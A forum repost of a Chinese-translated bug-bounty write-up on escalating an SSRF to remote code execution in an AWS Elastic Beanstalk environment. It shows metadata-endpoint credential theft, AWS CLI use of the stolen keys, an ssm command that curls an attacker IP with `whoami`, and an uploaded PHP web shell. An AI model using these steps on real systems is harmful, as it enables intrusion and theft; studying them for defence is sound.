搜索

[20435] 2020-12-29_将SSRF升级为RCE

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-12-29_将SSRF升级为RCE 将 S S R F 升 级 为 R C E a k a   G e n e r a l E G   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 2 - 2 9 今 天 我 照 例 要 和 大 家 分 享 一 个 新 的 多 汁 漏 洞 。 这 个 问 题 是 在 一 个 私 人 客 户 中 发 现 的 ， 所 以 我 们 称 之 为 r e d a c t e d . c o m 。 探 索 范 围 。 在 列 举 客 户 的 域 为 子 域 的 时 候 ， 我 发 现 子 域 [ d o c s ] 。 我 发 现 子 域 [ d o c s ] 。 我 出 来 到 这 个 子 域 [ d o c s . r e d a c t . c o m ] 。 寻 找 带 外 资 源 负 载 。 [ d o c s ] 子 域 显 示 了 一 些 文 件 和 统 计 资 料 。
当 点 击 一 个 统 计 的 照 片 时 ， 我 看 到 了 一 种 奇 怪 的 ， 但 不 是 一 个 神 奇 的 链 接 ： 我 首 先 想 到 的 是 把 [ u r l ] 的 值 改 为 g e n e r a l e g 0 x 0 1 . c o m
然 后 我 注 意 到 了 [ m i m e T y p e ] 参 数 ， 所 以 编 辑 了 链 接 ， 并 将 值 改 为 这 样 ： h t t p s : / / d o c s . r e d a c t . c o m / r e p o r t / a p i / v 2 / h e l p / a s s e t ? u r l = h t t p s : / / g e n e r a l e g 0 x 0 1 . c o m & m i m e T y p e = t e x t / h t m l & t = R E D A C T E D . J W T . T O K E N & a d v e r t i s e r I d = 1 1 到 现 在 为 止 ， 它 只 是 [ 带 外 资 源 负 载 ] 。 验 证 S S R F ： 当 检 查 我 的 B u r p S u i t e 中 的 请 求 / 响 应 时 ， 发 现 响 应 头 [ X - A m z - C F - I d ] 所 以 ， 我 已 经 弄 清 楚 他 们 是 在 A W S 环 境 上 。 我 们 需 要 确 保 S S R F 在 这 里 工 作 良 好 。 所 以 我 们 知 道 [ 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 ] 是 E C 2 实 例 的 本 地 I P 地 址 。
让 我 们 尝 试 通 过 导 航 到 [ / l a t e s t / m e t a - d a t a / ] 来 访 问 m e t a - d a t a 文 件 夹 。 S S R F 确 认 。 在 E C 2 环 境 上 冲 浪 ： 让 我 们 检 查 我 们 当 前 的 角 色   通 过 导 航 到   [ / l a t e s t / m e t a   - d a t a / i a m / s e c u r i t y   - c r e d e n t i a l s / ] . 是 a w s - e l a s t i c b e a n s t a l k - e c 2 - r o l e 什 么 是 A W S   E l a s t i c   B e a n s t a l k ？ A W S   E l a s t i c   B e a n s t a l k 是 A W S 提 供 的 平 台 即 服 务 （ P a a S ） ， 用 于 部 署 和 扩 展 各 种 环 境 下 的 W e b 应 用 ， 如 J a v a 、 . N E T 、 P H P 、 N o d e . j s 、 P y t h o n 、 R u b y 和 G o 。 它 能 自 动 处 理 部 署 、 容 量 调 配 、 负 载 均 衡 、 自 动 伸 缩 和 应 用 健 康 监 控 。
抓 取 需 要 的 数 据 ： 1 . 进 入 [ / l a t e s t / m e t a - d a t a / i a m / s e c u r i t y - c r e d e n t i a l s / a w s - e l a s t i c b e a n s t a l k - e c 2 - r o l e / ] 获 取 [ A c c e s s K e y I d ， S e c r e t A c c e s s K e y ， T o k e n ] 2 . 去 到 [ / l a t e s t / d y n a m i c / i n s t a n c e - i d e n t i t y / d o c u m e n t / ] 。 获 取 [ i n s t a n c e I d ,   a c c o u n t I d ,   r e g i o n ]   配 置 A W S 命 令 行 接 口 。 打 开 你 的 终 端 ： ~ #   a p t   i n s t a l l   a w s c l i ~ #   e x p o r t   A W S _ A C C E S S _ K E Y _ I D = A c c e s s K e y I d
~ #   e x p o r t   A W S _ S E C R E T _ A C C E S S _ K E Y = S e c r e t A c c e s s K e y ~ #   e x p o r t   A W S _ D E F A U L T _ R E G I O N = r e g i o n ( 区 域 ) ~ #   e x p o r t   A W S _ S E S S I O N _ T O K E N = T o k e n 以 获 得 [ 用 户 I D ] 。 ~ #   a w s   s t s   g e t - c a l l e r - i d e n t i t y S S R F 利 用 得 很 好 ， 现 在 让 我 们 进 一 步 探 索 将 其 升 级 到 更 大 的 东 西   " R C E   " 的 可 能 性 。 将 S S R F 升 级 到 R C E ： 我 尝 试 了 一 些 潜 在 的 开 发 方 案 通 过 [ s s m   s e n d - c o m m a n d ] 升 级 失 败 。 经 过 几 番 研 究 ， 尝 试 使 用 A W S 系 统 管 理 器 [ s s m ] 命 令 。 该 角 色 未 被 授 权 执 行 此 命 令 。 我 希 望 用 a w s   s s m   s e n d - c o m m a n d 来 升 级 它 。 ~ #   a w s   s s m   s e n d - c o m m a n d   - i n s t a n c e - i d s   " i n s t a n c e I d "   - d o c u m e n t - n a m e   " A W S - R u n S h e l l S c r i p t "   - c o m m e n t   " w h o a m i "   - p a r a m e t e r s   c o m m a n d s = ' c u r l 1 2 8 . 1 9 9 . x x . x x : 8 0 8 0 / ` w h o a m i ` '   - o u t p u t   t e x t   - r e g i o n = r e g i o n 调 用 S e n d C o m m a n d 操 作 时 发 生 错 误 （ A c c e s s D e n i e d E x c e p t i o n ） 。 用 户 ： a r n : a w s : t s : : 7 6 5 x x x x x x x x x : a s s u m e d - r o l e / a w s - e l a s t i c b e a n s t a l k - e c 2 - r o l e / i - 0 0 7 x x x x x x x x x x x x x x 未 被 授 权 在 资 源 上 执 行 ： s s m : S e n d C o m m a n d ： a r n : a w s : e c 2 : u s - e a s t - 1 : 7 6 5 x x x x x x x x x : i n s t a n c e / i - 0 0 x x x x x x x x x x x x x x 通 过 [ S S H ] 升 级 失 败
S S H 端 口 被 关 闭 。 我 希 望 用 著 名 的 场 景 来 升 级 它 。 " 创 建 一 个 R S A 认 证 密 钥 对 （ 公 钥 和 私 钥 ） "   " 以 便 能 够 从 账 户 登 录 到 远 程 站 点 ， 而 不 需 要 输 入 密 码 " 通 过 [ 上 传 后 门 ] 升 级 成 功 。 试 图 读 取 【 S 3   B u c k e t 】 内 容 。 尝 试 使 用 A W S   C L I 运 行 多 个 命 令 ， 从 A W S 实 例 中 检 索 信 息 。 然 而 ， 由 于 现 有 的 安 全 策 略 ， 大 多 数 命 令 的 访 问 都 被 拒 绝 了 。 ~ #   a w s   s 3   l s 调 用 L i s t B u c k e t s 操 作 时 发 生 错 误 （ A c c e s s D e n i e d ） 。 访 问 被 拒 绝 经 过 一 番 研 究 发 现 ， 托 管 策 略   " A W S E l a s t i c B e a n s t a l k W e b T i e r   " 只 允 许 访 问 名 称 以   " e l a s t i c b e a n s t a l k   " 开 头 的 S 3   b u c k e t 。 为 了 访 问 S 3   b u c k e t ， 我 们 将 使 用 之 前 抓 取 的 数 据 ， 格 式 如 下 ： e l a s t i c b e a n s t a l k - r e g i o n - a c c o u n t - i d . 现 在 ， 桶 名 是   " e l a s t i c b e a n s t a l k - u s - e a s t - 1 - 7 6 x x x x x x x x 0 0 " 。 让 我 们 以 递 归 的 方 式 列 出   " e l a s t i c b e a n s t a l k - u s - e a s t - 1 - 7 6 x x x x x x x x 0 0   " 的 桶 资 源 ， 以 使 用 A W S   C L I 执 行 这 个 长 期 运 行 的 任 务 。 ~ #   a w s   s 3   l s   s 3 : / / e l a s t i c b e a n s t a l k - u s - e a s t - 1 - 7 6 x x x x x x x x 0 0 /   - r e c u r s i v e
现 在 ， 让 我 们 尝 试 上 传 一 个 后 门 ! ~ #   c a t   c m d . p h p ~ #   a w s   s 3   c p   c m d . p h p   s 3 : / / e l a s t i c b e a n s t a l k - u s - e a s t - 1 - 7 6 x x x x x x x x 0 0 / 上 传 :   . / c m d . p h p 到 s 3 : / / d o c s . r e d a c t . c o m / c m d . p h p 在 这 里 ， 我 们 得 到 了 一 个 成 功 的 R C E ! < ? p h p   i f ( i s s e t ( $ _ R E Q U E S T [ ' c m d ' ] ) ) {   e c h o   " < p r e > " ;   $ c m d   =   ( $ _ R E Q U E S T [ ' c m d ' ] ) ;   s y s t e m ( $ c m d ) ;   e c h o   " < / p r e > " ;   d i e ;   } ? >
简 而 言 之 ， 你 可 以 通 过 多 种 方 式 将 服 务 器 端 请 求 伪 造 升 级 为 远 程 代 码 执 行 。 你 可 以 通 过 多 种 方 式 将 服 务 器 端 请 求 伪 造 升 级 为 远 程 代 码 执 行   但 这 取 决 于 你 的 目 标 环 境 。 参 考 文 献 ： h t t p s : / / g e n e r a l e g 0 x 0 1 . c o m / 2 0 1 9 / 0 3 / 1 0 / e s c a l a t i n g - s s r f - t o - r c e /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理